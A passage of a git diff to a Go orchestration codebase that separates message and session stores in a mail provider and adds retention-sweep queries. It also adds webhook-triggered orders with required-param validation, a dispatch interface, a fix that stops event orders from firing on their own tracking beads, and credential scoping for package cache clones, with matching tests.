+// persistence and session addressing. It is the single-store form of
+// [NewWithStores].
 //
 // The default provider is stateless so long-lived shared users such as the API
 // always see fresh session topology.
 func New(store beads.Store) *Provider {
-	return &Provider{store: store}
+	return NewWithStores(store, store)
+}
+
+// NewWithStores returns a stateless beadmail provider whose message beads
+// persist in msgStore (messaging class) and whose session reads/writes for mail
+// addressing and identity resolution use sessionStore (session class). Pass the
+// same store for both at the single-store bd backend; pass the relocated session
+// store once [beads.classes.sessions] moves so mail addressing follows it.
+func NewWithStores(msgStore, sessionStore beads.Store) *Provider {
+	return &Provider{store: msgStore, sessionStore: sessionStore}
 }
 
 // NewCached returns a beadmail provider backed by the given store with a
@@ -60,10 +77,18 @@ func New(store beads.Store) *Provider {
 // avoid repeated session scans during one command. Long-lived API providers use
 // it to keep steady-state mail reads cheap; they refresh session topology after
 // a bounded interval so new and closed sessions are observed without controller
-// restart.
+// restart. It is the single-store form of [NewCachedWithStores].
 func NewCached(store beads.Store) *Provider {
+	return NewCachedWithStores(store, store)
+}
+
+// NewCachedWithStores is the two-store form of [NewCached]: message persistence
+// on msgStore, session addressing on sessionStore, with the provider-local
+// session enumeration cache reading from sessionStore.
+func NewCachedWithStores(msgStore, sessionStore beads.Store) *Provider {
 	return &Provider{
-		store:        store,
+		store:        msgStore,
+		sessionStore: sessionStore,
 		sessionCache: &sessionBeadCache{refreshInterval: cachedSessionBeadRefreshInterval},
 	}
 }
@@ -72,13 +97,13 @@ func NewCached(store beads.Store) *Provider {
 // Cached providers reuse a single enumeration; stateless providers fetch
 // fresh results on every call.
 func (p *Provider) cachedSessionBeads() ([]beads.Bead, error) {
-	if p.store == nil {
+	if p.sessionStore == nil {
 		return nil, nil
 	}
 	if p.sessionCache == nil {
-		return session.ListAllSessionBeads(p.store, beads.ListQuery{IncludeClosed: true})
+		return session.ListAllSessionBeads(p.sessionStore, beads.ListQuery{IncludeClosed: true})
 	}
-	return p.sessionCache.get(p.store)
+	return p.sessionCache.get(p.sessionStore)
 }
 
 func (c *sessionBeadCache) get(store beads.Store) ([]beads.Bead, error) {
@@ -181,17 +206,17 @@ func (p *Provider) createMessageBead(title, body, from, to string, labels []stri
 
 func (p *Provider) resolveSenderRoute(from string) (string, map[string]string, error) {
 	from = strings.TrimSpace(from)
-	if from == "" || from == "human" || p.store == nil {
+	if from == "" || from == "human" || p.sessionStore == nil {
 		return from, nil, nil
 	}
-	sessionID, err := session.ResolveSessionID(p.store, from)
+	sessionID, err := session.ResolveSessionID(p.sessionStore, from)
 	if err != nil {
 		if errors.Is(err, session.ErrSessionNotFound) || errors.Is(err, session.ErrAmbiguous) {
 			return from, nil, nil
 		}
 		return "", nil, fmt.Errorf("resolving sender %q: %w", from, err)
 	}
-	b, err := p.store.Get(sessionID)
+	b, err := p.sessionStore.Get(sessionID)
 	if err != nil {
 		return "", nil, fmt.Errorf("loading sender session %q: %w", sessionID, err)
 	}
@@ -684,6 +709,36 @@ func (p *Provider) filterMessagesForRecipients(recipients []string, includeRead
 	return msgs, nil
 }
 
+// ReadMessagesBefore lists read message beads created before `before`, oldest
+// first — the candidate set for the stale-mail retention sweep. It returns raw
+// beads (the caller closes them via the store); the message-bead query shape
+// (Type + "read" label) stays confined to this package, per the package invariant
+// that callers above beadmail never construct a message-bead query directly.
+// limit == 0 means unbounded.
+func ReadMessagesBefore(store beads.Store, before time.Time, limit int) ([]beads.Bead, error) {
+	return store.List(beads.ListQuery{
+		Type:          "message",
+		Label:         "read",
+		CreatedBefore: before,
+		Limit:         limit,
+		Sort:          beads.SortCreatedAsc,
+		TierMode:      beads.TierBoth,
+	})
+}
+
+// ReadMessageWispEntries lists read message beads in the wisp tier (open or
+// closed) — the candidate set for the wisp-GC retention sweep. It returns raw
+// beads (the caller deletes them); like ReadMessagesBefore it keeps the
+// message-bead query shape confined to this package.
+func ReadMessageWispEntries(store beads.Store) ([]beads.Bead, error) {
+	return store.List(beads.ListQuery{
+		Type:          "message",
+		Metadata:      map[string]string{mail.ReadMetadataKey: "true"},
+		IncludeClosed: true,
+		TierMode:      beads.TierWisps,
+	})
+}
+
 // Recipient route helpers expand an operator-facing recipient into every
 // stable mailbox address that might hold mail for that recipient.
 func (p *Provider) recipientRoutes(recipient string) []string {
@@ -693,7 +748,7 @@ func (p *Provider) recipientRoutes(recipient string) []string {
 	}
 	routes := make([]string, 0, 4)
 	routes = appendRecipientRoute(routes, recipient)
-	if recipient == "human" || p.store == nil {
+	if recipient == "human" || p.sessionStore == nil {
 		return routes
 	}
 
@@ -725,9 +780,9 @@ func (p *Provider) recipientRoutes(recipient string) []string {
 
 func (p *Provider) recipientSessionMatchesByCurrentAddress(recipient string, closed bool) ([]beads.Bead, error) {
 	var matches []beads.Bead
-	b, err := p.store.Get(recipient)
+	b, err := p.sessionStore.Get(recipient)
 	if err == nil && session.IsSessionBeadOrRepairable(b) && sessionRouteStatusMatches(b, closed) {
-		session.RepairEmptyType(p.store, &b)
+		session.RepairEmptyType(p.sessionStore, &b)
 		matches = appendUniqueSessionRecipientMatch(matches, b)
 	} else if err != nil && !errors.Is(err, beads.ErrNotFound) {
 		return nil, fmt.Errorf("looking up session %q: %w", recipient, err)
@@ -757,7 +812,7 @@ func (p *Provider) recipientSessionMatchesByMetadata(key, recipient, status stri
 	if status != "" {
 		query.Status = status
 	}
-	items, err := p.store.List(query)
+	items, err := p.sessionStore.List(query)
 	if err != nil {
 		return nil, err
 	}
@@ -766,7 +821,7 @@ func (p *Provider) recipientSessionMatchesByMetadata(key, recipient, status stri
 		if !session.IsSessionBeadOrRepairable(b) {
 			continue
 		}
-		session.RepairEmptyType(p.store, &b)
+		session.RepairEmptyType(p.sessionStore, &b)
 		if !sessionRouteStatusMatches(b, status == "closed") {
 			continue
 		}
diff --git a/internal/mail/mail.go b/internal/mail/mail.go
index ac220b679f..48f49a5551 100644
--- a/internal/mail/mail.go
+++ b/internal/mail/mail.go
@@ -36,6 +36,10 @@ const (
 	// ToDisplayMetadataKey stores the human-readable recipient captured when
 	// the message was created.
 	ToDisplayMetadataKey = "mail.to_display"
+	// ReadMetadataKey mirrors the "read" label as a queryable metadata flag
+	// ("true"/"false"), set alongside the label by MarkRead/MarkUnread. Retention
+	// sweeps query it directly (the label-based query is recipient-scoped).
+	ReadMetadataKey = "mail.read"
 )
 
 // Message represents a mail message between agents or humans.
diff --git a/internal/nudgequeue/store.go b/internal/nudgequeue/store.go
index abceb7d24e..784b66e751 100644
--- a/internal/nudgequeue/store.go
+++ b/internal/nudgequeue/store.go
@@ -35,6 +35,22 @@ const nudgeBeadLabel = "gc:nudge"
 // nudgeBeadType is the bead type used for queued-nudge shadow beads.
 const nudgeBeadType = "chore"
 
+// StaleCandidatesBefore lists queued-nudge shadow beads created before `before`,
+// oldest first — the candidate set for the stale-nudge retention sweep. It
+// returns raw beads (the caller terminalizes/closes them via the store); the
+// nudge-bead query shape (the gc:nudge label + wisp tier) stays confined to this
+// package, so callers above it never construct a nudge-bead query directly.
+// limit == 0 means unbounded.
+func StaleCandidatesBefore(store beads.NudgesStore, before time.Time, limit int) ([]beads.Bead, error) {
+	return store.List(beads.ListQuery{
+		Label:         nudgeBeadLabel,
+		CreatedBefore: before,
+		Limit:         limit,
+		Sort:          beads.SortCreatedAsc,
+		TierMode:      beads.TierBoth,
+	})
+}
+
 // NudgeShadow is the partial, read-only view decoded from a nudge shadow bead.
 // It carries ONLY the fields the bead is authoritative for: the controller-
 // stamped terminal fields (State / TerminalReason / CommitBoundary) plus
diff --git a/internal/nudgequeue/store_test.go b/internal/nudgequeue/store_test.go
index d2cc4bec0a..613af154cb 100644
--- a/internal/nudgequeue/store_test.go
+++ b/internal/nudgequeue/store_test.go
@@ -50,7 +50,7 @@ func TestSaveEmitsByteIdenticalCreate(t *testing.T) {
 		t.Fatalf("Create calls = %d, want 1", len(creates))
 	}
 	got := creates[0].Bead
-	wantMeta := map[string]string{
+	wantMeta := beads.StringMap{
 		"nudge_id":           "nudge-xyz",
 		"agent":              "polecat-3",
 		"session_id":         "sess-1",
diff --git a/internal/orderdispatch/dispatch.go b/internal/orderdispatch/dispatch.go
new file mode 100644
index 0000000000..4136baa367
--- /dev/null
+++ b/internal/orderdispatch/dispatch.go
@@ -0,0 +1,74 @@
+// Package orderdispatch defines the reusable seam through which any caller fires
+// a resolved Gas City order — the controller tick loop today, and the supervisor
+// webhook receiver (E3/E6) next — so there is one dispatch core, not a per-caller
+// reimplementation.
+//
+// The seam is deliberately thin: the caller pre-resolves the target order (so it
+// can enforce its own policy — required-param validation, trigger and rig
+// scoping — before anything fires) and hands the whole order to a [Dispatcher].
+// The Dispatcher performs store resolution, tracking-bead creation, and the
+// formula/exec dispatch itself. The concrete Dispatcher lives in cmd/gc, where it
+// wraps the controller's live order dispatcher and reuses the same dispatchOne
+// core the tick loop uses; this package holds only the contract so downstream
+// packages (internal/webhooksink, internal/api) can depend on it without
+// importing package main.
+package orderdispatch
+
+import (
+	"context"
+
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+// Source identifies what triggered a dispatch routed through the seam. It is
+// carried for provenance/audit and lets a caller apply source-specific policy
+// (the webhook sink pre-namespaces its untrusted exec-env args, R4).
+type Source string
+
+const (
+	// SourceTick is the controller trigger-evaluation loop.
+	SourceTick Source = "tick"
+	// SourceManual is an operator-invoked `gc order run`.
+	SourceManual Source = "manual"
+	// SourceWebhook is the supervisor webhook receiver.
+	SourceWebhook Source = "webhook"
+)
+
+// DispatchRequest is one order-fire intent. The Order is pre-resolved by the
+// caller, which has already enforced its own guards.
+type DispatchRequest struct {
+	// Order is the resolved target order to fire.
+	Order orders.Order
+	// Vars are the raw, param-named dispatch args. They drive required-param
+	// validation and the formula ExpandVars channel. Keys are declared order
+	// param names, never controller env keys.
+	Vars map[string]string
+	// ExecEnv is the environment overlay applied when Order is an exec order.
+	// Untrusted callers (the webhook sink) MUST pre-namespace these so a payload
+	// value can never shadow a controller-owned or static [order.env] key (R4) —
+	// see webhookmatch.ExecEnvVars. When nil the dispatcher falls back to Vars,
+	// which preserves the trusted tick/CLI raw-overlay semantics.
+	ExecEnv map[string]string
+	// Source records what triggered this dispatch.
+	Source Source
+}
+
+// DispatchResult reports the outcome of routing a request through the seam.
+type DispatchResult struct {
+	// ScopedName is the fired order's rig-qualified name.
+	ScopedName string
+	// TrackingID is the created tracking bead id (empty when nothing fired).
+	TrackingID string
+	// Fired is true when the order was accepted and dispatch was launched.
+	Fired bool
+	// Rejected is true when a guard refused the dispatch before firing.
+	Rejected bool
+	// Reason explains a rejection (empty on success).
+	Reason string
+}
+
+// Dispatcher fires a pre-resolved order. cmd/gc implements it over the same
+// dispatchOne core the controller tick loop uses; tests inject a fake.
+type Dispatcher interface {
+	Dispatch(ctx context.Context, req DispatchRequest) (DispatchResult, error)
+}
diff --git a/internal/orders/order.go b/internal/orders/order.go
index f258b26bca..77b185f950 100644
--- a/internal/orders/order.go
+++ b/internal/orders/order.go
@@ -6,6 +6,7 @@ package orders
 
 import (
 	"fmt"
+	"sort"
 	"strings"
 	"time"
 
@@ -66,6 +67,11 @@ type Order struct {
 	// environment. Env is supported only for exec orders; controller-
 	// owned routing and identity keys are rejected before dispatch.
 	Env map[string]string `toml:"env,omitempty"`
+	// Params declares the named arguments this order accepts through the
+	// dispatch args channel (webhook rules and `gc order run --var`). A param
+	// marked required must be present in the dispatch vars or the order refuses
+	// to fire. Use the `[order.params]` TOML table, e.g. `repo = { required = true }`.
+	Params map[string]OrderParam `toml:"params,omitempty"`
 	// Source is the absolute file path to the discovered order file (set by scanner, not from TOML).
 	Source string `toml:"-"`
 	// FormulaLayer is the formula layer directory this order was
@@ -76,6 +82,14 @@ type Order struct {
 	Rig string `toml:"-"`
 }
 
+// OrderParam describes one declared order parameter in the `[order.params]`
+// table.
+type OrderParam struct {
+	// Required makes dispatch fail when the param is absent from the vars
+	// supplied by the args channel.
+	Required bool `toml:"required,omitempty"`
+}
+
 // ScopedName returns a rig-qualified key for label scoping.
 // City-level: "dolt-health". Rig-level: "dolt-health:rig:demo-repo".
 func (a *Order) ScopedName() string {
@@ -86,22 +100,23 @@ func (a *Order) ScopedName() string {
 }
 
 type orderDecode struct {
-	Description string            `toml:"description,omitempty"`
-	Formula     string            `toml:"formula,omitempty"`
-	Exec        string            `toml:"exec,omitempty"`
-	Scope       string            `toml:"scope,omitempty"`
-	Trigger     string            `toml:"trigger,omitempty"`
-	Gate        string            `toml:"gate,omitempty"`
-	Interval    string            `toml:"interval,omitempty"`
-	Schedule    string            `toml:"schedule,omitempty"`
-	Check       string            `toml:"check,omitempty"`
-	On          string            `toml:"on,omitempty"`
-	Pool        string            `toml:"pool,omitempty"`
-	Timeout     string            `toml:"timeout,omitempty"`
-	Enabled     *bool             `toml:"enabled,omitempty"`
-	Idempotent  bool              `toml:"idempotent,omitempty"`
-	Env         map[string]string `toml:"env,omitempty"`
-	SkipAliases []string          `toml:"skip_aliases,omitempty"`
+	Description string                `toml:"description,omitempty"`
+	Formula     string                `toml:"formula,omitempty"`
+	Exec        string                `toml:"exec,omitempty"`
+	Scope       string                `toml:"scope,omitempty"`
+	Trigger     string                `toml:"trigger,omitempty"`
+	Gate        string                `toml:"gate,omitempty"`
+	Interval    string                `toml:"interval,omitempty"`
+	Schedule    string                `toml:"schedule,omitempty"`
+	Check       string                `toml:"check,omitempty"`
+	On          string                `toml:"on,omitempty"`
+	Pool        string                `toml:"pool,omitempty"`
+	Timeout     string                `toml:"timeout,omitempty"`
+	Enabled     *bool                 `toml:"enabled,omitempty"`
+	Idempotent  bool                  `toml:"idempotent,omitempty"`
+	Env         map[string]string     `toml:"env,omitempty"`
+	Params      map[string]OrderParam `toml:"params,omitempty"`
+	SkipAliases []string              `toml:"skip_aliases,omitempty"`
 }
 
 func (d orderDecode) normalized() Order {
@@ -124,6 +139,7 @@ func (d orderDecode) normalized() Order {
 		Enabled:     d.Enabled,
 		Idempotent:  d.Idempotent,
 		Env:         d.Env,
+		Params:      d.Params,
 		skipAliases: d.SkipAliases,
 	}
 }
@@ -201,6 +217,11 @@ func Validate(a Order) error {
 			return fmt.Errorf("order %q: invalid env key %q: must not contain '='", a.Name, key)
 		}
 	}
+	for name := range a.Params {
+		if strings.TrimSpace(name) == "" {
+			return fmt.Errorf("order %q: param name is required", a.Name)
+		}
+	}
 	// Scope, if set, must be a known value. Empty defaults to rig-scoped.
 	switch a.Scope {
 	case "", "city", "rig":
@@ -235,6 +256,13 @@ func Validate(a Order) error {
 		}
 	case "manual":
 		// No additional fields required.
+	case "webhook":
+		// Webhook-dispatched orders declare the named args they accept so the
+		// receiver can validate required params before dispatch. An order with
+		// no [order.params] could never receive webhook args meaningfully.
+		if len(a.Params) == 0 {
+			return fmt.Errorf("order %q: webhook trigger requires a non-empty [order.params]", a.Name)
+		}
 	case "":
 		return fmt.Errorf("order %q: trigger is required", a.Name)
 	default:
@@ -242,3 +270,29 @@ func Validate(a Order) error {
 	}
 	return nil
 }
+
+// MissingRequiredParams returns the names of declared-required params that are
+// absent from vars, sorted. It returns nil when every required param is present.
+func (a *Order) MissingRequiredParams(vars map[string]string) []string {
+	var missing []string
+	for name, p := range a.Params {
+		if !p.Required {
+			continue
+		}
+		if _, ok := vars[name]; !ok {
+			missing = append(missing, name)
+		}
+	}
+	sort.Strings(missing)
+	return missing
+}
+
+// ValidateRequiredParams returns an error naming any declared-required params
+// absent from the dispatch vars. A nil return means dispatch may proceed.
+func ValidateRequiredParams(a Order, vars map[string]string) error {
+	missing := a.MissingRequiredParams(vars)
+	if len(missing) == 0 {
+		return nil
+	}
+	return fmt.Errorf("order %q: missing required param(s): %s", a.ScopedName(), strings.Join(missing, ", "))
+}
diff --git a/internal/orders/order_test.go b/internal/orders/order_test.go
index 5b1d03e50b..a02d90eac7 100644
--- a/internal/orders/order_test.go
+++ b/internal/orders/order_test.go
@@ -488,3 +488,64 @@ func TestValidateAcceptsCityAndRigScope(t *testing.T) {
 		}
 	}
 }
+
+func TestParseOrderParams(t *testing.T) {
+	data := []byte(`
+[order]
+formula = "pr-review"
+trigger = "manual"
+
+[order.params]
+repo = { required = true }
+pr = { required = true }
+note = {}
+`)
+	a, err := Parse(data)
+	if err != nil {
+		t.Fatalf("Parse: %v", err)
+	}
+	if len(a.Params) != 3 {
+		t.Fatalf("len(Params) = %d, want 3", len(a.Params))
+	}
+	if !a.Params["repo"].Required {
+		t.Fatal("Params[repo].Required = false, want true")
+	}
+	if a.Params["note"].Required {
+		t.Fatal("Params[note].Required = true, want false")
+	}
+}
+
+func TestValidateRequiredParams(t *testing.T) {
+	a := Order{
+		Name:    "pr-review",
+		Formula: "pr-review",
+		Trigger: "manual",
+		Params: map[string]OrderParam{
+			"repo": {Required: true},
+			"pr":   {Required: true},
+			"note": {Required: false},
+		},
+	}
+
+	if err := ValidateRequiredParams(a, map[string]string{"repo": "octo/demo", "pr": "1"}); err != nil {
+		t.Fatalf("ValidateRequiredParams with all required present = %v, want nil", err)
+	}
+
+	// Optional param may be omitted.
+	if err := ValidateRequiredParams(a, map[string]string{"repo": "octo/demo", "pr": "1", "extra": "ignored"}); err != nil {
+		t.Fatalf("ValidateRequiredParams with optional omitted = %v, want nil", err)
+	}
+
+	err := ValidateRequiredParams(a, map[string]string{"repo": "octo/demo"})
+	if err == nil {
+		t.Fatal("ValidateRequiredParams with missing pr = nil, want error")
+	}
+	if !strings.Contains(err.Error(), "pr") {
+		t.Fatalf("error = %q, want it to name missing param pr", err.Error())
+	}
+
+	// A present-but-empty value still counts as supplied.
+	if err := ValidateRequiredParams(a, map[string]string{"repo": "octo/demo", "pr": ""}); err != nil {
+		t.Fatalf("ValidateRequiredParams with empty-but-present pr = %v, want nil", err)
+	}
+}
diff --git a/internal/orders/triggers.go b/internal/orders/triggers.go
index 7bd82dc0c1..d7dc5ddade 100644
--- a/internal/orders/triggers.go
+++ b/internal/orders/triggers.go
@@ -2,6 +2,7 @@ package orders
 
 import (
 	"context"
+	"encoding/json"
 	"errors"
 	"fmt"
 	"io"
@@ -70,6 +71,10 @@ func CheckTriggerWithOptions(a Order, now time.Time, lastRunFn LastRunFunc, ep e
 		return checkEvent(a, ep, cursorFn)
 	case "manual":
 		return TriggerResult{Due: false, Reason: "manual trigger — use gc order run"}
+	case "webhook":
+		// Webhook-triggered orders are dispatched only by the supervisor webhook
+		// receiver; like manual, they are never tick-fired.
+		return TriggerResult{Due: false, Reason: "webhook trigger — dispatched by the webhook receiver"}
 	default:
 		return TriggerResult{Due: false, Reason: fmt.Sprintf("unknown trigger %q", a.Trigger)}
 	}
@@ -235,6 +240,8 @@ func mergeConditionEnv(environ, extra []string) []string {
 }
 
 // checkEvent checks if matching events exist after the last cursor position.
+// Events emitted by order-tracking beads (controller bookkeeping) are excluded
+// to prevent event orders from self-firing on their own tracking-bead lifecycle.
 func checkEvent(a Order, ep events.Provider, cursorFn CursorFunc) TriggerResult {
 	if ep == nil {
 		return TriggerResult{Due: false, Reason: "event: no events provider"}
@@ -251,10 +258,37 @@ func checkEvent(a Order, ep events.Provider, cursorFn CursorFunc) TriggerResult
 	if err != nil {
 		return TriggerResult{Due: false, Reason: fmt.Sprintf("event: read error: %v", err)}
 	}
-	if len(matched) == 0 {
+	var count int
+	for _, e := range matched {
+		// Exclude the dispatcher's own order-tracking bookkeeping beads so an event
+		// order never self-fires on lifecycle events emitted by those beads (#3720).
+		if !payloadHasLabel(e.Payload, labelOrderTracking) {
+			count++
+		}
+	}
+	if count == 0 {
 		return TriggerResult{Due: false, Reason: "event: no matching events"}
 	}
-	return TriggerResult{Due: true, Reason: fmt.Sprintf("event: %d %s event(s)", len(matched), a.On)}
+	return TriggerResult{Due: true, Reason: fmt.Sprintf("event: %d %s event(s)", count, a.On)}
+}
+
+// payloadHasLabel reports whether a JSON bead payload contains the given label.
+func payloadHasLabel(payload json.RawMessage, label string) bool {
+	if len(payload) == 0 {
+		return false
+	}
+	var p struct {
+		Labels []string `json:"labels"`
+	}
+	if err := json.Unmarshal(payload, &p); err != nil {
+		return false
+	}
+	for _, l := range p.Labels {
+		if l == label {
+			return true
+		}
+	}
+	return false
 }
 
 // MaxSeqFromLabels extracts the highest seq:<N> value from bead labels.
diff --git a/internal/orders/triggers_test.go b/internal/orders/triggers_test.go
index ebcf404a17..e10a582342 100644
--- a/internal/orders/triggers_test.go
+++ b/internal/orders/triggers_test.go
@@ -2,6 +2,7 @@ package orders
 
 import (
 	"bytes"
+	"encoding/json"
 	"fmt"
 	"path/filepath"
 	"strings"
@@ -378,6 +379,68 @@ func TestCheckTriggerCronRigScoped(t *testing.T) {
 	}
 }
 
+func TestCheckTriggerEventOrderTrackingBeadsFiltered(t *testing.T) {
+	// Regression: event orders must not self-fire on bead lifecycle events emitted
+	// by order-tracking beads (controller bookkeeping). This was the root cause of
+	// the ~80 events/min feedback loop after ce32c6bf6 switched tracking beads from
+	// Ephemeral to NoHistory, making their lifecycle events visible to the cache.
+	trackingPayload := mustMarshalLabels(t, []string{"order-run:nudge-on-route", "order-tracking"})
+	regularPayload := mustMarshalLabels(t, []string{"work:some-bead"})
+
+	ep := newEventsProvider(t, []events.Event{
+		{Type: "bead.updated", Payload: trackingPayload}, // order-tracking — excluded
+		{Type: "bead.updated", Payload: regularPayload},  // real work bead — counted
+		{Type: "bead.updated", Payload: trackingPayload}, // order-tracking — excluded
+	})
+	a := Order{Name: "nudge-on-route", Trigger: "event", On: "bead.updated"}
+	result := CheckTrigger(a, time.Time{}, neverRan, ep, nil)
+	if !result.Due {
+		t.Errorf("Due = false, want true (one non-tracking bead.updated exists); reason: %s", result.Reason)
+	}
+	if result.Reason != "event: 1 bead.updated event(s)" {
+		t.Errorf("Reason = %q, want %q", result.Reason, "event: 1 bead.updated event(s)")
+	}
+}
+
+func TestCheckTriggerEventAllOrderTrackingFiltered(t *testing.T) {
+	// When ALL matched events come from order-tracking beads the order is not due.
+	trackingPayload := mustMarshalLabels(t, []string{"order-run:nudge-on-route", "order-tracking"})
+
+	ep := newEventsProvider(t, []events.Event{
+		{Type: "bead.updated", Payload: trackingPayload},
+		{Type: "bead.closed", Payload: trackingPayload},
+	})
+	a := Order{Name: "nudge-on-route", Trigger: "event", On: "bead.updated"}
+	result := CheckTrigger(a, time.Time{}, neverRan, ep, nil)
+	if result.Due {
+		t.Errorf("Due = true, want false (all events from order-tracking beads); reason: %s", result.Reason)
+	}
+}
+
+func TestCheckTriggerEventNoPayloadNotFiltered(t *testing.T) {
+	// Events with no payload (legacy or non-bead events) must pass through —
+	// absence of a label is not the same as having the order-tracking label.
+	ep := newEventsProvider(t, []events.Event{
+		{Type: "bead.closed"}, // no payload
+	})
+	a := Order{Name: "convoy-check", Trigger: "event", On: "bead.closed"}
+	result := CheckTrigger(a, time.Time{}, neverRan, ep, nil)
+	if !result.Due {
+		t.Errorf("Due = false, want true (no-payload events must not be filtered); reason: %s", result.Reason)
+	}
+}
+
+func mustMarshalLabels(t *testing.T, labels []string) json.RawMessage {
+	t.Helper()
+	b, err := json.Marshal(struct {
+		Labels []string `json:"labels"`
+	}{Labels: labels})
+	if err != nil {
+		t.Fatal(err)
+	}
+	return b
+}
+
 func TestCheckTriggerEventRigScoped(t *testing.T) {
 	ep := newEventsProvider(t, []events.Event{
 		{Type: "bead.closed"},
diff --git a/internal/orders/webhook_trigger_test.go b/internal/orders/webhook_trigger_test.go
new file mode 100644
index 0000000000..8b8d7b65d0
--- /dev/null
+++ b/internal/orders/webhook_trigger_test.go
@@ -0,0 +1,43 @@
+package orders
+
+import (
+	"strings"
+	"testing"
+	"time"
+)
+
+// (e) A trigger="webhook" order without [order.params] fails validation.
+func TestValidate_WebhookTriggerRequiresParams(t *testing.T) {
+	noParams := Order{Name: "pr-review", Formula: "pr-review", Trigger: "webhook"}
+	err := Validate(noParams)
+	if err == nil {
+		t.Fatal("webhook order with no [order.params] must fail validation")
+	}
+	if !strings.Contains(err.Error(), "params") {
+		t.Errorf("error = %q, want it to mention params", err)
+	}
+
+	withParams := Order{
+		Name:    "pr-review",
+		Formula: "pr-review",
+		Trigger: "webhook",
+		Params:  map[string]OrderParam{"repo": {Required: true}},
+	}
+	if err := Validate(withParams); err != nil {
+		t.Fatalf("webhook order with [order.params] should validate: %v", err)
+	}
+}
+
+// A webhook-triggered order is never tick-fired (behaves like manual).
+func TestCheckTrigger_WebhookNeverDue(t *testing.T) {
+	a := Order{
+		Name:    "pr-review",
+		Formula: "pr-review",
+		Trigger: "webhook",
+		Params:  map[string]OrderParam{"repo": {Required: true}},
+	}
+	res := CheckTrigger(a, time.Now(), nil, nil, nil)
+	if res.Due {
+		t.Fatalf("webhook-triggered order must never be tick-due; got %+v", res)
+	}
+}
diff --git a/internal/packman/bundled_test.go b/internal/packman/bundled_test.go
index add72b4f9f..990f30953d 100644
--- a/internal/packman/bundled_test.go
+++ b/internal/packman/bundled_test.go
@@ -30,7 +30,7 @@ func TestEnsureRepoInCacheMaterializesBundledSourceWithoutGit(t *testing.T) {
 	}
 	t.Cleanup(func() { runGit = prev })
 
-	got, err := EnsureRepoInCache(source, commit)
+	got, err := EnsureRepoInCache("", source, commit)
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
@@ -105,7 +105,7 @@ func TestBundledSyntheticCacheKeyDoesNotCollideWithSameRepoGitSource(t *testing.
 	}
 	t.Cleanup(func() { runGit = prev })
 
-	if _, err := EnsureRepoInCache(source, commit); err != nil {
+	if _, err := EnsureRepoInCache("", source, commit); err != nil {
 		t.Fatalf("EnsureRepoInCache bundled: %v", err)
 	}
 	if got, err := os.ReadFile(sentinel); err != nil || string(got) != "keep" {
@@ -224,7 +224,7 @@ func TestEnsureBundledCacheMaterializeFailureIncludesRecoveryCause(t *testing.T)
 	}
 	t.Cleanup(func() { materializeSyntheticRepo = prevMaterialize })
 
-	_, err = EnsureRepoInCache(source, commit)
+	_, err = EnsureRepoInCache("", source, commit)
 	if err == nil {
 		t.Fatal("EnsureRepoInCache succeeded, want materialize failure")
 	}
@@ -247,6 +247,18 @@ func TestEnsureRepoInCacheClonesBundledSourceAtNonCanonicalPin(t *testing.T) {
 	var gitCalls [][]string
 	prevGit := runGit
 	runGit = func(_ string, args ...string) (string, error) {
+		gitCalls = append(gitCalls, args)
+		switch args[0] {
+		case "checkout":
+			return "", nil
+		default:
+			return "", fmt.Errorf("unexpected git call: %v", args)
+		}
+	}
+	t.Cleanup(func() { runGit = prevGit })
+
+	prevNetGit := runNetworkGit
+	runNetworkGit = func(_, _, _ string, args ...string) (string, error) {
 		gitCalls = append(gitCalls, args)
 		switch args[0] {
 		case "clone":
@@ -259,13 +271,11 @@ func TestEnsureRepoInCacheClonesBundledSourceAtNonCanonicalPin(t *testing.T) {
 				return "", err
 			}
 			return "", os.WriteFile(packToml, []byte(stubPackToml), 0o644)
-		case "checkout":
-			return "", nil
 		default:
-			return "", fmt.Errorf("unexpected git call: %v", args)
+			return "", fmt.Errorf("unexpected network git call: %v", args)
 		}
 	}
-	t.Cleanup(func() { runGit = prevGit })
+	t.Cleanup(func() { runNetworkGit = prevNetGit })
 
 	prevMaterialize := materializeSyntheticRepo
 	materializeSyntheticRepo = func(string, string) error {
@@ -274,7 +284,7 @@ func TestEnsureRepoInCacheClonesBundledSourceAtNonCanonicalPin(t *testing.T) {
 	}
 	t.Cleanup(func() { materializeSyntheticRepo = prevMaterialize })
 
-	got, err := EnsureRepoInCache(source, commit)
+	got, err := EnsureRepoInCache("", source, commit)
 	if err != nil {
 		t.Fatalf("EnsureRepoInCache: %v", err)
 	}
diff --git a/internal/packman/cache.go b/internal/packman/cache.go
index 17335461a5..f8c10c986b 100644
--- a/internal/packman/cache.go
+++ b/internal/packman/cache.go
@@ -11,11 +11,13 @@ import (
 	"github.com/gastownhall/gascity/internal/builtinpacks"
 	"github.com/gastownhall/gascity/internal/config"
 	gitutil "github.com/gastownhall/gascity/internal/git"
+	"github.com/gastownhall/gascity/internal/gitcred"
 	"github.com/gastownhall/gascity/internal/remotesource"
 )
 
 var (
 	runGit                   = defaultRunGit
+	runNetworkGit            = defaultRunNetworkGit
 	materializeSyntheticRepo = builtinpacks.MaterializeSyntheticRepo
 )
 
@@ -44,7 +46,9 @@ func RepoCachePath(source, commit string) (string, error) {
 
 // EnsureRepoInCache clones and checks out the requested commit when absent,
 // or repairs an existing cache whose checkout has drifted from the lock entry.
-func EnsureRepoInCache(source, commit string) (string, error) {
+// cityRoot scopes credential resolution for the network clone (it selects the
+// per-city credentials.toml layer); "" skips only that layer.
+func EnsureRepoInCache(cityRoot, source, commit string) (string, error) {
 	parsed := normalizeRemoteSource(source)
 	cachePath, err := RepoCachePath(source, commit)
 	if err != nil {
@@ -61,7 +65,7 @@ func EnsureRepoInCache(source, commit string) (string, error) {
 		if config.IsBundledSourceAtCanonicalPin(source, commit) {
 			return ensureBundledRepoInCacheLocked(source, commit, cachePath)
 		}
-		return ensureRepoInCacheLocked(source, commit, parsed, cachePath)
+		return ensureRepoInCacheLocked(cityRoot, source, commit, parsed, cachePath)
 	})
 }
 
@@ -104,7 +108,7 @@ func ensureBundledRepoInCacheLocked(source, commit, cachePath string) (string, e
 	return cachePath, nil
 }
 
-func ensureRepoInCacheLocked(source, commit string, parsed remoteSource, cachePath string) (string, error) {
+func ensureRepoInCacheLocked(cityRoot, source, commit string, parsed remoteSource, cachePath string) (string, error) {
 	if gitInfo, err := os.Stat(filepath.Join(cachePath, ".git")); err == nil && !gitutil.MissingCheckoutMarker(gitInfo, err) {
 		if err := checkoutExistingCache(cachePath, commit); err == nil {
 			if err := validateCachedPackRoot(source, cachePath); err != nil {
